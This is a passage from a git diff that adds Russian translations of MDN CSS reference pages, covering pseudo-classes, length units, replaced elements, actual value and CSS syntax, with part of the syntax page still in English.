+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Отрицательные значения (поведение для CSS2.1, не разрешается в устаревшей спецификации CSS2)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Свойство CSS {{Cssxref("position")}}</li>
+ <li><a href="/en-US/docs/CSS/Understanding_z-index" title="CSS/Understanding_z-index">Понимание z-индексов CSS</a></li>
+</ul>
diff --git a/files/ru/web/css/действительное_значение/index.html b/files/ru/web/css/действительное_значение/index.html
new file mode 100644
index 0000000000..da6231da1f
--- /dev/null
+++ b/files/ru/web/css/действительное_значение/index.html
@@ -0,0 +1,40 @@
+---
+title: Действительное значение
+slug: Web/CSS/Действительное_значение
+tags:
+  - CSS
+  - Guide
+  - Web
+translation_of: Web/CSS/actual_value
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p><strong>Действительное значение</strong> CSS свойства - используемое после всех приближений значение. Например, браузер может отображать рамки только с целым значением пикселей и будет прининудительно округлять ширину.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'cascade.html#actual-value', 'actual value')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/CSS/Reference">Руководство по CSS</a></li>
+ <li>{{CSS_key_concepts}}</li>
+</ul>
diff --git a/files/ru/web/css/замещаемый_элемент/index.html b/files/ru/web/css/замещаемый_элемент/index.html
new file mode 100644
index 0000000000..a252cbad33
--- /dev/null
+++ b/files/ru/web/css/замещаемый_элемент/index.html
@@ -0,0 +1,49 @@
+---
+title: Замещаемый элемент
+slug: Web/CSS/Замещаемый_элемент
+tags:
+  - CSS
+  - Reference
+  - замещаемый элемент
+translation_of: Web/CSS/Replaced_element
+---
+<div>{{CSSRef}}</div>
+
+<p>В <a href="/ru/docs/Web/CSS">CSS</a>, <strong>замещаемый элемент</strong> — это элемент, чьё представление выходит за рамки CSS. Другими словами, это внешний объект, чьё представление независимо от модели форматирования CSS.</p>
+
+<h2 id="Замещаемые_элементы">Замещаемые элементы</h2>
+
+<p>Типичные замещаемые элементы:</p>
+
+<ul>
+ <li>{{HTMLElement("iframe")}}</li>
+ <li>{{HTMLElement("video")}}</li>
+ <li>{{HTMLElement("embed")}}</li>
+ <li>{{HTMLElement("img")}}</li>
+</ul>
+
+<p>Некоторые элементы рассматриваются как замещаемые только в некоторых случаях:</p>
+
+<ul>
+ <li>{{HTMLElement("audio")}}</li>
+ <li>{{HTMLElement("canvas")}}</li>
+ <li>{{HTMLElement("object")}}</li>
+ <li>{{HTMLElement("applet")}}</li>
+</ul>
+
+<p>Спецификация HTML также указывает, что элемент {{HTMLElement("input")}} может быть замещаемым, поскольку элемент {{HTMLElement("input")}} с типом image является замещаемым элементом наподобие {{HTMLElement("img")}}. Однако другие элементы форм, включая другие типы элементов {{HTMLElement("input")}}, явно отнесены к незамещаемым элементам (для описания их отображения по умолчанию, которое может быть разным на разных платформах, спецификация использует термин «Виджеты»).</p>
+
+<p>Объекты, добавляемые с помощью CSS-свойства {{cssxref("content")}} являются <em>анонимными замещаемыми элементами</em>. Они «анонимные», так как они не существуют в HTML-разметке.</p>
+
+<h2 id="Использование_CSS_с_замещаемыми_элементами">Использование CSS с замещаемыми элементами</h2>
+
+<p>CSS обрабатывает замещаемые элементы особым образом в некоторых случаях, например при расчёте внешних отступов и некоторых значений <code>auto</code>.</p>
+
+<p>Заметим, что у некоторых замещаемых элементов, но не у всех, есть внутренние размеры или определённая базовая линия, которая используется CSS свойствами вроде {{cssxref("vertical-align")}}.</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>Спецификация HTML https://html.spec.whatwg.org/multipage/rendering.html#replaced-elements</li>
+ <li>{{CSS_key_concepts()}}</li>
+</ul>
diff --git a/files/ru/web/css/псевдо-классы/index.html b/files/ru/web/css/псевдо-классы/index.html
new file mode 100644
index 0000000000..2c280be32b
--- /dev/null
+++ b/files/ru/web/css/псевдо-классы/index.html
@@ -0,0 +1,146 @@
+---
+title: Псевдоклассы
+slug: Web/CSS/Псевдо-классы
+tags:
+  - CSS
+  - Reference
+  - Псевдоклассы
+  - Селекторы
+translation_of: Web/CSS/Pseudo-classes
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>Псевдокласс</strong> в CSS — <dfn>это ключевое слово, добавленное к селектору,</dfn> которое определяет его особое состояние. Например, {{ Cssxref(":hover") }} может быть использован для изменения цвета кнопки при наведении курсора на неё.</p>
+
+<pre class="brush: css no-line-numbers">div:hover {
+  background-color: #F89B4D;
+}</pre>
+
+<p>Псевдоклассы дают возможность стилизовать элемент на основе не только отношений в DOM-дереве, но и основываясь на внешних факторах, таких как история посещений (например, {{ cssxref(":visited") }}), состояние содержимого (вроде {{ cssxref(":checked") }} у некоторых элементов формы) или позиции курсора мыши (например, {{ cssxref(":hover") }} определяет, находится ли курсор мыши над элементом).</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> В отличие от псевдоклассов, <a href="/ru/docs/Web/CSS/pseudo-elements">псевдоэлементы</a> могут быть использованы для стилизации <em>определённой части</em> элемента.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">selector:pseudo-class {
+  property: value;
+}
+</pre>
+
+<p>Как и с обычными классами, можно совмещать вместе в одном селекторе любое число псевдоклассов.</p>
+
+<h2 id="Список_стандартных_псевдоклассов">Список стандартных псевдоклассов</h2>
+
+<div class="index">
+<ul>
+ <li>{{ Cssxref(":active") }}</li>
+ <li>{{ cssxref(':any')}}</li>
+ <li>{{ cssxref(':any-link')}}</li>
+ <li>{{ Cssxref(":checked") }}</li>
+ <li>{{ Cssxref(":default") }}</li>
+ <li>{{ Cssxref(":defined") }}</li>
+ <li>{{ Cssxref(":dir", ":dir()")}}</li>
+ <li>{{ Cssxref(":disabled") }}</li>
+ <li>{{ Cssxref(":empty") }}</li>
+ <li>{{ Cssxref(":enabled") }}</li>
+ <li>{{ Cssxref(":first") }}</li>
+ <li>{{ Cssxref(":first-child") }}</li>
+ <li>{{ Cssxref(":first-of-type") }}</li>
+ <li>{{ Cssxref(":fullscreen") }}</li>
+ <li>{{ Cssxref(":focus") }}</li>
+ <li>{{ Cssxref(":hover") }}</li>
+ <li>{{ Cssxref(":indeterminate") }}</li>
+ <li>{{ Cssxref(":in-range") }}</li>
+ <li>{{ Cssxref(":invalid") }}</li>
+ <li>{{ Cssxref(":lang", ":lang()") }}</li>
+ <li>{{ Cssxref(":last-child") }}</li>
+ <li>{{ Cssxref(":last-of-type") }}</li>
+ <li>{{ Cssxref(":left") }}</li>
+ <li>{{ Cssxref(":link") }}</li>
+ <li>{{ Cssxref(":not", ":not()") }}</li>
+ <li>{{ Cssxref(":nth-child", ":nth-child()") }}</li>
+ <li>{{ Cssxref(":nth-last-child", ":nth-last-child()") }}</li>
+ <li>{{ Cssxref(":nth-last-of-type", ":nth-last-of-type()") }}</li>
+ <li>{{ Cssxref(":nth-of-type", ":nth-of-type()") }}</li>
+ <li>{{ Cssxref(":only-child") }}</li>
+ <li>{{ Cssxref(":only-of-type") }}</li>
+ <li>{{ Cssxref(":optional") }}</li>
+ <li>{{ Cssxref(":out-of-range") }}</li>
+ <li>{{ Cssxref(":read-only") }}</li>
+ <li>{{ Cssxref(":read-write") }}</li>
+ <li>{{ Cssxref(":required") }}</li>
+ <li>{{ Cssxref(":right") }}</li>
+ <li>{{ Cssxref(":root") }}</li>
+ <li>{{ Cssxref(":scope") }}</li>
+ <li>{{ Cssxref(":target") }}</li>
+ <li>{{ Cssxref(":valid") }}</li>
+ <li>{{ Cssxref(":visited") }}</li>
+</ul>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Fullscreen') }}</td>
+   <td>{{ Spec2('Fullscreen') }}</td>
+   <td>Определён <code>:fullscreen</code>.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>Нет изменений от {{ SpecName('HTML5 W3C') }}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Определены <code>:any-link</code>, <code>:local-link</code>, <code>:scope</code>, <code>:active-drop-target</code>, <code>:valid-drop-target</code>, <code>:invalid-drop-target</code>, <code>:current</code>, <code>:past</code>, <code>:future</code>, <code>:placeholder-shown</code>, <code>:user-error</code>, <code>:blank</code>, <code>:nth-match()</code>, <code>:nth-last-match()</code>, <code>:nth-column()</code>, <code>:nth-last-column()</code> и <code>:matches()</code>.<br>
+    Нет существенных изменений для псевдоклассов, определённых в {{SpecName('CSS3 Selectors')}} и {{SpecName('HTML5 W3C')}} (не рассматрия семантическое значение).</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5 W3C') }}</td>
+   <td>{{ Spec2('HTML5 W3C') }}</td>
+   <td>Определено семантическое значение в HTML контексте для  <code>:link</code>, <code>:visited</code>, <code>:active</code>, <code>:enabled</code>, <code>:disabled</code>, <code>:checked</code> и <code>:indeterminate</code>.<br>
+    Определены <code>:default</code>, <code>:valid</code>, <code>:invalid</code>, <code>:in-range</code>, <code>:out-of-range</code>, <code>:required</code>, <code>:optional</code>, <code>:read-only</code>, <code>:read-write</code> и <code>:dir()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Basic UI') }}</td>
+   <td>{{ Spec2('CSS3 Basic UI') }}</td>
+   <td>Определены <code>:default</code>, <code>:valid</code>, <code>:invalid</code>, <code>:in-range</code>, <code>:out-of-range</code>, <code>:required</code>, <code>:optional</code>, <code>:read-only</code> и <code>:read-write</code>, но без связанного семантического значения.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Определены <code>:target</code>, <code>:root</code>, <code>:nth-child()</code>, <code>:nth-last-of-child()</code>, <code>:nth-of-type()</code>, <code>:nth-last-of-type()</code>, <code>:last-child</code>, <code>:first-of-type</code>, <code>:last-of-type</code>, <code>:only-child</code>, <code>:only-of-type</code>, <code>:empty</code> и <code>:not()</code>.<br>
+    Определён синтаксис для <code>:enabled</code>, <code>:disabled</code>, <code>:checked</code> и <code>:indeterminate</code>, но без связанного семантического значения.<br>
+    Нет значительных изменений для псевдоклассов, определённых в {{SpecName('CSS2.1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Определены <code>:lang()</code>, <code>:first-child</code>, <code>:hover</code> и <code>:focus</code>.<br>
+    Нет значительных изменений для псевдоклассов, определённых в {{SpecName('CSS1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Определены <code>:link</code>, <code>:visited</code> и <code>:active</code>, но без связанного семантического значения.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/CSS/Pseudo-elements">Псевдоэлементы</a></li>
+</ul>
diff --git a/files/ru/web/css/размер/index.html b/files/ru/web/css/размер/index.html
new file mode 100644
index 0000000000..4fd88f8cc2
--- /dev/null
+++ b/files/ru/web/css/размер/index.html
@@ -0,0 +1,153 @@
+---
+title: <length>
+slug: Web/CSS/размер
+tags:
+  - CSS
+  - CSS Тип Данных
+  - Величина
+  - Разметка
+  - длина
+translation_of: Web/CSS/length
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a> <a href="/ru/docs/Web/CSS/CSS_Types">тип данных</a> <code>&lt;length&gt;</code> представляет единицу длины. Длина может быть использована в таких свойствах CSS как {{Cssxref("width")}}, {{Cssxref("height")}}, {{Cssxref("margin")}}, {{Cssxref("padding")}}, {{Cssxref("border-width")}}, {{Cssxref("font-size")}}, и {{Cssxref("text-shadow")}}.</p>
+
+<div class="note">
+<p><strong>Обратите внимание:</strong> Хоть значения {{cssxref("&lt;percentage&gt;")}} также определяют размеры и могут использоваться в некоторых свойствах, принимающих значения типа <code>&lt;length&gt;</code>, они не являются <code>&lt;length&gt; </code>значениями.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Тип данных <code>&lt;length&gt;</code> состоит из {{cssxref("&lt;number&gt;")}}, за которым следует одна из единиц измерения, перечисленных ниже. Как и у любых единиц измерения CSS между числом и единицей нет знака пробела. После числа <code>0</code> единица измерения необязательна.</p>
+
+<div class="note">
+<p><strong>Обратите внимание:</strong> Некоторые свойства допускают использование отрицательных значений <code>&lt;length&gt;</code>, а некоторые нет.</p>
+</div>
+
+<h3 id="Единицы_измерения">Единицы измерения</h3>
+
+<h4 id="Относительные_единицы_измерения">Относительные единицы измерения</h4>
+
+<p>Относительные единицы измерения представляют расстояние, определённое какой-либо другой величиной. В зависимости от единицы, это может быть размер определённого символа, <a href="/ru/docs/Web/CSS/line-height">высота строки</a> или размер {{glossary("viewport")}}.</p>
+
+<h5 id="Единицы_зависящие_от_шрифта">Единицы, зависящие от шрифта</h5>
+
+<p>Единицы, зависящие от шрифта, определяют значение <code>&lt;length&gt;</code>, используя размер какого-либо символа или характеристики шрифта, который применяется к элементу или его родителю.</p>
+
+<div class="note">
+<p><strong>Обратите внимание:</strong> Эти единицы, особенно <code>em</code> и <code>rem</code>, часто используются для создания адаптивных разметок, которые сохраняют <a href="https://24ways.org/2006/compose-to-a-vertical-rhythm">вертикальную структуру страницы</a> даже если пользователь изменяет размер шрифта.</p>
+</div>
+
+<dl>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">cap</span></font> {{experimental_inline}}</dt>
+ <dd>Представляет высоту заглавных букв в <a href="/ru/docs/Web/CSS/font">шрифте</a>, применённом к элементу.</dd>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">ch</span></font></dt>
+ <dd>Представляет ширину символа "<code>0</code>" (ноль, символ Юникод U+0030) в шрифте, применённом к элементу.</dd>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">em</span></font></dt>
+ <dd>Представляет подсчитанный размер шрифта элемента. Если используется в свойстве {{Cssxref("font-size")}}, представляет <em>унаследованный</em> размер шрифта.</dd>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">ex</span></font></dt>
+ <dd>Представляет <a href="https://en.wikipedia.org/wiki/X-height">x-height</a> (обычно высоту буквы x) в шрифте, применённом к элементу. В шрифтах с буквой x это обычно высота букв в нижнем регистре; во многих шрифтах <code>1ex ≈ 0.5em</code>.</dd>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">ic</span></font> {{experimental_inline}}</dt>
+ <dd>Равна используемой в шрифте ширине символа "<code>水</code>" (ККЯ, символ "вода", U+6C34).</dd>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">lh</span></font> {{experimental_inline}}</dt>
+ <dd>Равна рассчитанному значению свойства {{Cssxref("line-height")}}, переведённому в абсолютные единицы измерения.</dd>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">rem</span></font></dt>
+ <dd>Представляет размер шрифта корневого элемента (обычно {{HTMLElement("html")}}). Когда используется в свойстве {{Cssxref("font-size")}} корневого элемента, представляет значение по умолчанию (в большинстве браузеров <code>16px</code>, но настройки пользователя могут переопределить это значение).</dd>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">rlh</span></font> {{experimental_inline}}</dt>
+ <dd>Равна рассчитанному значению свойства {{Cssxref("line-height")}} корневого эдемента (обычно {{HTMLElement("html")}}), переведённому в абсолютные единицы измерения. Когда используется в свойстве {{Cssxref("font-size")}} корневого элемента, представляет значение по умолчанию.</dd>
+</dl>
+
+<h5 id="Единицы_зависящие_от_размеров_экрана">Единицы, зависящие от размеров экрана</h5>
+
+<p>Эти единицы определяют значение <code>&lt;length&gt;</code> относительно размеров экрана, то есть видимой части документа. эти единицы недопустимы в блоках {{cssxref("@page")}}.</p>
+
+<dl>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">vh</span></font></dt>
+ <dd>Равна 1% высоты блока содержимого.</dd>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">vw</span></font></dt>
+ <dd>Равна 1% ширины блока содержимого.</dd>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">vi</span></font> {{experimental_inline}}</dt>
+ <dd>Равна 1% размера блока содержимого по направлению выстраивания строчных элементов.</dd>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">vb</span></font> {{experimental_inline}}</dt>
+ <dd>Равна 1% размера блока содержимого по направлению выстраивания блочных элементов.</dd>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">vmin</span></font></dt>
+ <dd>Равна <code>vh</code> или <code>vw</code> в зависимости от того, что из них меньше.</dd>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">vmax</span></font></dt>
+ <dd>Равна <code>vh</code> или <code>vw</code> в зависимости от того, что из них больше.</dd>
+</dl>
+
+<h4 id="Абсолютные_единицы_измерения">Абсолютные единицы измерения</h4>
+
+<p>Абсолютные единицы измерения представляют физические расстояния, когда известны физические свойтсва устройства вывода. Одна из единиц привязывается к физической единице, а все остальные к ней. Привязка делается по-разному для устройств с низким разрешением, таких как экраны, и высоким, таких как принтеры.</p>
+
+<p>Для устройств с маленьким dpi (dots per inch — количество точек на дюйм) единица измерения <code>px</code> представляет физический пиксель; остальные единицы определяются относительно него. Таким образом, <code>1in</code> определяется как <code>96px</code>, что равно <code>72pt</code>. Последствием такого способа определения является то, что длины, описанные в дюймах (<code>in</code>), сантиметрах (<code>cm</code>) или миллиметрах (<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">mm</span></font>) необязательно равны одноимённым физическим единицам.</p>
+
+<p>Для устройств с высоким dpi дюймы (<code>in</code>),сантиметры (<code>cm</code>) и миллиметры (<code>mm</code>) такие же, как и соответствующие физические единицы. Таким образов, единица <code>px</code> определяется относительно их (1/96 одного дюйма).</p>
+
+<div class="note">
+<p><strong>Обратите внимание:</strong> Многие пользователи увеличивают стандартный размер шрифта браузера для удобства чтения. Длины, заданные абсолютными единицами могут вызвать проблемы с доступностью, так как они привязаны к физическим величинам и не масштабируются при изменении настроек. Поэтому предпочтительнее использовать относительные единицы (такие как <code>em</code> или <code>rem</code>) в свойстве <code>font-size</code>.</p>
+</div>
+
+<dl>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">px</span></font></dt>
+ <dd>Один пиксель. Для устройств с дисплеев традиционно представляет одну точку. Тем не менее, на <em>принтерах</em> и <em>экранах с высоким разрешением</em> один пиксель CSS равен нескольким пикселям дисплея. <code>1px</code> = 1/96  от <code>1in</code>.</dd>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">cm</span></font></dt>
+ <dd>Один сантиметр. <code>1cm</code> = <code>96px/2.54</code>.</dd>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">mm</span></font></dt>
+ <dd>Один миллиметр. <code>1mm</code> = 1/10 от <code>1cm</code>.</dd>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Q</span></font> {{experimental_inline}}</dt>
+ <dd>Четверть миллиметра. <code>1Q</code> = 1/40 от <code>1cm</code>.</dd>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">in</span></font></dt>
+ <dd>Один дюйм. <code>1in</code> = <code>2.54cm</code> = <code>96px</code>.</dd>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">pc</span></font></dt>
+ <dd>Одна <a href="https://ru.wikipedia.org/wiki/%D0%9F%D0%B0%D0%B9%D0%BA%D0%B0_(%D1%82%D0%B8%D0%BF%D0%BE%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D0%BA%D0%B0)">пайка</a>. <code>1pc</code> = <code>12pt</code> = 1/6 от <code>1in</code>.</dd>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">pt</span></font></dt>
+ <dd>Одна точка. <code>1pt</code> = 1/72 от<code>1in</code>.</dd>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">mozmm</span></font> {{non-standard_inline}}, удалена в Firefox 59</dt>
+ <dd>Экспериметальная единица, которая равна одному физическому миллиметру вне зависимости от размера и разрешения экрана. Такая единица требуется очень редко, но может понадобиться, особенно на маленьких устройствах.</dd>
+</dl>
+
+<h2 id="Интерполяция">Интерполяция</h2>
+
+<p>При анимации значения <code>&lt;length&gt;</code> интерполируются как реальные <a href="https://ru.wikipedia.org/wiki/%D0%A7%D0%B8%D1%81%D0%BB%D0%BE_%D1%81_%D0%BF%D0%BB%D0%B0%D0%B2%D0%B0%D1%8E%D1%89%D0%B5%D0%B9_%D0%B7%D0%B0%D0%BF%D1%8F%D1%82%D0%BE%D0%B9">числа с плавающей запятой</a>. Интерполяция происходит над рассчитанным значением. Скорость интерполяции определяется <a href="/ru/docs/Web/CSS/single-transition-timing-function">временной функцией</a> анимации.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Values', '#lengths', '&lt;length&gt;')}}</td>
+   <td>{{Spec2('CSS4 Values')}}</td>
+   <td>Добавлены единицы <code>vi</code>, <code>vb</code>, <code>ic</code>, <code>lh</code>, и <code>rlh</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#lengths', '&lt;length&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Добавлены единицы <code>ch</code>, <code>rem</code>, <code>vw</code>, <code>vh</code>, <code>vmin</code>, <code>vmax</code>, и <code>Q</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'syndata.html#length-units', '&lt;length&gt;')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Явно определены единицы <code>em</code>, <code>pt</code>, <code>pc</code>, и <code>px</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#length-units', '&lt;length&gt;')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Первое определение. Неявно определены единицы <code>em</code>, <code>pt</code>, <code>pc</code>, и <code>px</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("css.types.length")}}</p>
diff --git a/files/ru/web/css/синтаксис/index.html b/files/ru/web/css/синтаксис/index.html
new file mode 100644
index 0000000000..1adfb2fb04
--- /dev/null
+++ b/files/ru/web/css/синтаксис/index.html
@@ -0,0 +1,76 @@
+---
+title: Синтаксис
+slug: Web/CSS/Синтаксис
+translation_of: Web/CSS/Syntax
+---
+<div>{{cssref}}</div>
+
+<div>Основная задача Каскадных Стилей — это рассказать движку браузера, как отрисовать элементы страницы — каким цветом, как позиционировать их на странице, как украшать, и так далее. Синтаксис CSS построен следуя этой идее, и состоит из следующих основных блоков:</div>
+
+<div></div>
+
+<ul>
+ <li><strong>Свойство</strong> (<em>property</em>) — идентификатор действия, которое будет применено к элементу (например, цвет, или размер границы, и т.д.).</li>
+ <li><strong>Значение</strong> (<em>value</em>) — описывает, как именно <em>свойство</em> будет обработано браузером. <span id="result_box" lang="ru"><span class="hps">Каждое свойство имеет</span> <span class="hps">набор допустимых значений</span><span>, определенных</span> <span class="hps">формальными правилами</span><span>, а также</span> <span class="hps">семантический</span> <span class="hps">смысл,</span> <span class="hps">реализованный</span> движком <span class="hps">браузера.</span></span></li>
+</ul>
+
+<h2 id="Объявления_CSS">Объявления CSS</h2>
+
+<p>Задание CSS свойствам определенных значений — это основная функция CSS. Пара свойство-значение называется <em>объявлением</em>. Работа CSS движка заключается в поиске соответсвий между объявлениями стилей и элементом на странице, чтобы правильно отобразить и форматировать этот элемент.</p>
+
+<p>И свойство, и значения регистрозависимы. Пара свойство-значение разделяется двоеточием, '<code>:</code>' (<code>U+003A COLON</code>), а пробелы до, между и после свойства или значения игнорируются.</p>
+
+<p><img alt="css syntax - declaration.png" class="default internal" src="https://mdn.mozillademos.org/files/7771/css%20syntax%20-%20declaration(1).png" style="border: 1px solid black; height: 189px; padding: 1em; width: 465px;"></p>
+
+<p>В CSS существует более <a href="/ru/docs/CSS/Reference">ста различных свойств</a>, и бесконечное число допустимых значений. <span id="result_box" lang="ru"><span class="hps">Не все</span> <span class="hps">пары</span> <span class="hps">свойств и значений</span> <span class="hps">допускаются</span>, <span class="hps">и каждое свойство</span> <span class="hps">определяет</span><span>, каковы</span> <span class="hps">допустимые значения</span><span>.</span> <span class="hps">Когда значение</span> <span class="hps">не подходит для</span> <span class="hps">данного свойства</span><span>,</span> <span class="hps">объявление считается</span> <span class="hps">недействительной и</span> <span class="hps">целиком</span> <span class="hps">игнорируются</span> <span class="hps">CSS</span>-движком<span class="hps">.</span></span></p>
+
+<h2 id="Блоки_объявлений_CSS">Блоки объявлений CSS</h2>
+
+<p>Объявления группируются в <strong>блоки</strong>, структура которых состоит из открывающейся , '<code>{</code>' (<code>U+007B LEFT CURLY BRACKET</code>), и закрывающейся, '<code>}</code>' (<code>U+007D RIGHT CURLY BRACKET</code>) фигурных скобок.</p>
+
+<p><a href="/@api/deki/files/6165/=css_syntax_-_block.png"><img alt="css syntax - block.png" class="default internal" src="/@api/deki/files/6165/=css_syntax_-_block.png" style="border: 1px solid black; padding: 1em;"></a></p>
+
+<p>Такие блоки называются <strong>блоками объявлений</strong>, и объявления в них разделяются точкой с запятой, '<code>;</code>' (<code>U+003B SEMICOLON</code>). Блок объявлений может быть пустым, т.е. не содержать объявлений. Пробелы между объявлениями игнорируются. Последнее объявление блока не нуждается в точке с запятой, хотя считается хорошим тоном добавить ее для того, чтобы не допустить упущение этого знака при добавлении другого объявления в будущем.</p>
+
+<p><img alt="css syntax - declarations block.png" class="default internal" src="/@api/deki/files/6166/=css_syntax_-_declarations_block.png" style="border: 1px solid black; padding: 1em;"></p>
+
+<div class="note">Содержимое блока объявлений CSS, т. е. объявления, разделенные точкой с запятой. Блок объявлений может быть помещен внутри атрибута style HTML-документа без фигурных скобок.</div>
+
+<h2 id="CSS_rulesets">CSS rulesets</h2>
+
+<p>If style sheets could only apply a declaration to each element of a Web page, they would be pretty useless. The real goal is to apply different declarations to different parts of the document.</p>
+
+<p>CSS allows this by associating conditions with declarations blocks. Each (valid) declaration block is preceded by a <em>selector</em> which is a condition selecting some elements of the page. The pair selector-declarations block is called a <strong>ruleset</strong>, or often simply a <strong>rule</strong>.</p>
+
+<p><img alt="css syntax - ruleset.png" class="default internal" src="/@api/deki/files/6167/=css_syntax_-_ruleset.png" style="border: 1px solid black; padding: 1em;"></p>
+
+<p>As an element of the page may be matched by several selectors, and therefore by several rules eventually containing a given property several times, with different values, the CSS standard defines which one has precedence over the other and must be applied: this is called the <a href="/en/CSS/Getting_Started/Cascading_and_inheritance" title="Cascading and inheritance">cascade</a> algorithm.</p>
+
+<div class="note">It is important to note that even if a ruleset characterized by a group of selectors is a kind of shorthand replacing rulesets with a single selector each, this doesn't apply to the validity of the ruleset itself.<br>
+<br>
+This leads to an important consequence: if one single basic selector is invalid, like when using an unknown pseudo-element or pseudo-class, the whole <em>selector</em> is invalid and therefor the entire rule is ignored (as invalid too).</div>
+
+<h2 id="CSS_statements">CSS statements</h2>
+
